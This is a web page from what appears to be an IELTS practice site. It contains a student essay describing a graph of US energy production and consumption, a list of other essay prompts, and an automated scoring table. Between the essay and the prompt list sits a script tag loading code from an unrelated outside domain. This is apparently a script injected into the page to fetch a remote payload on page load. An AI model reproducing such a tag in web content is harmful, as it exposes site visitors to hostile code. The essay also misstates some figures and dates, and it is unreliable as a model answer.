The graph below compares figures for the production and consumption of energy in the US from 1950 to 2000. It also predicts figures for 2025.
Given is the graph providing a comparison of production and consumption of energy for the period of 1950- 2000 and the predicted figures for 2025 in the US.
A glance at the chart reveals that the amount of consumption surged from around 30 to 65 units during 1950-1970. Similarly, the energy production also rose from 30 and reached approximately 60 units. Referring to the information bar it is observed that in comparison with consumption, energy production was more stable, and indicated 90 and 60 units respectively so the result of the difference between them made the proportion of energy imports continue to increase from 5 to 30 units till 2005.
It is also predicted that the quantity of energy consumption will noticeably rocket and reach 140 units whereas the production will be only 80 units so about 60 units of energy will be consumed by 2025.
In conclusion, it can be noted that a great increase in energy projections is anticipated in the US.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- Meat production requires relatively more land than crop production Some people think that as land is becoming scarce the world s meat consumption should be reduced What measures could be taken to reduce the world s meat consumption What kinds of problems 83
- The map below shows three potential sites for a fitness centre Summarise the information and make comparisons where relevant 73
- The chart below shows the total number of minutes (in billion) of telephone calls in the UK, divided into three categories, from 1995-2002. 90
- Modern lifestyles mean that many parents have little time for their children Many children suffer because they do not get as much attention from their parents as children did in the past Do you agree or disagree 80
- The diagram below shows the development of the village of Kelsby between 1780 and 2000 Summarise the information by selecting and reporting the main features and make comparisons where relevant 63
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 6 10
No. of Words: 164 200
No. of Characters: 783 1000
No. of Different Words: 89 100
Fourth Root of Number of Words: 3.579 4.0
Average Word Length: 4.774 4.6
Word Length SD: 2.904 2.4
No. of Words greater than 5 chars: 54 60
No. of Words greater than 6 chars: 38 50
No. of Words greater than 7 chars: 32 40
No. of Words greater than 8 chars: 26 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 27.333 21.0
Sentence Length SD: 12.188 7.5
Use of Discourse Markers (%): 0.667 0.12
Sentence-Text Coherence: 0.514 0.35
Sentence-Para Coherence: 0.827 0.50
Sentence-Sentence Coherence: 0.235 0.07
Number of Paragraphs: 4 4